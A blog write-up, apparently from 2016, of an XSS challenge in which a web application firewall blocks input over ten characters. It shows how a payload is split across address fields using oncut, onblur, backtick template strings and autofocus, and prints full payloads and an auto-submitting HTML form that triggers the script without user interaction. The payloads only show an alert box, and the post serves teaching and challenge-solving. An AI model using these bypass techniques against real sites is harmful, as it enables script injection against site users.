White hacker: How the WAF works ?

hi all,

one more amazing topic today about WAF.

The challenge has 3 vulnerable input tags at the value attributes (Address1, Address2, Zip).
Double quotes weren’t filtered so the value attribute quotes can be closed and the input tag can be closed using ‘>’ but you can’t open a new HTML tag using ‘<‘ character as it was getting removed. So the only possible way is to use the event handlers to execute JavaScript, The problem that all event handlers were getting blocked by the WAF. However there was a weakness in the WAF that it only blocks your payload if it exceeded 10 characters.

So using a payload like “onfocus= will get accepted and reflected in the response because it’s length is only 9 characters

But using a payload like “onfocus=alert(1) will be rejected and blocked by the WAF beause it’s length is 17 characters.

How to Bypass the WAF and execute Javascript ?

To bypass the WAF, we have to bypass the 10 characters length limitation. This can be done using a simple trick by splitting the XSS payload over the 3 affected input tags in the page. So in first vulnerable input tag you can use the shortest event handler which is oncut and use payload like “oncut=’/* which is exactly 10 characters and in the second vulnerable input tag you can continue the rest of the payload and close the multi line comment */alert(1337)’ as the following.

The payload will look like the following . The “Address Line 1” and “Address Line 2” will act as it was only one input tag

Now if you write anything inside “Address Line 1” field then you cut it using “CTRL + X” , The XSS will be fired.

This solved the challenge but unfortunately it requires a lot of interaction from the user and it’s hard to exploit it in real world

Now let’s dive into more cool solutions for the challenge, i will start with my own solution

My Solution:

I’ve solved the challenge with a similar technique but using a different event handler which is onblur , it’s longer thanoncut by one character . so using “onblur=’/* will be 11 character and unfortunately it will get blocked by the WAF. So the problem now i need one character to just comment inside the JavaScript to make my payload length is 10 instead of 11, so is that possible ?

Luckily Yes! it’s possible and thanks goes to ES6 (ECMAScript), it provides us with the template strings (accent grave) which are enclosed by the back-ticks . One of the functions of template strings in ES6 is to make a multi line strings . so doing something like

1

2

console.log(`This is the first line

This is the second line`);

Will appear as two lines with a line break.

So i used the template strings to make the multi line comment inside the javascript using one single character.

Here is the final payload I’ve used to solve the challenge:

<html>

<!-- XSS Challenge Solution:

Address Line 1: "onblur<='`

Address Line 2: `;alert(1337)'autofocus x="

Zip Code: "autofocus x=

-->

<body>

<input type="hidden" name="address1" value="&quot;onblur&lt;&#61;&apos;&#96;" />

<input type="hidden" name="address2" value="&#96;&#59;alert&#40;1337&#41;&apos;autofocus&#32;x&#61;&quot;" />

</form>

</body>

</html>

Solution was simply to use onblur event handler along with autofocus as following

Address Line 1:

1

"onblur<='`

Address Line 2:

1

`;alert(1337)'autofocus x="

Zip Code:

1

"autofocus x=

The XSS payload will fire when you press a left click with the mouse anywhere inside the page or when you press with the mouse outside the browser window, like on the start menu or the taskbar.

Much better, right

? But it’s still need a mild interaction from the user.

Now let’s shed the light on some of the coolest solutions I’ve received that requires zero user interaction.

The Solution:

1

2

3

4

5

6

7

8

9

10

11

12

<form method="post" action="http://xss-challenge.secgeek.net/" target=w>

<input name="address1" hidden value='"o<nblur=&apos;`'>

<input name="zip" hidden value='`,alert(1337)&apos;autofocus="'>

</form>

<button onclick=go()>go</button>

<script>

function go(){

w=window.open('','w');

document.forms[0].submit();

setTimeout(function(){w.location="http://xss-challenge.secgeek.net/#sbtn";},2000);

}

</script>

finally, solved the challenge with a creative payload that use onblur and autofocus with an extra trick , he use window.open to open the challenge page in a new window then he redirect the location of the window to solved after 2 seconds which makes the address1 field lose it’s focus and the onblur event gets executed without any user interaction!

Thanks for reading blog,please comment below if you have any question.

White hacker

BEST DEAL

Sunday 11 December 2016

How the WAF works ?

How to Bypass the WAF and execute Javascript ?

My Solution:

No comments:

Post a Comment

Blog Archive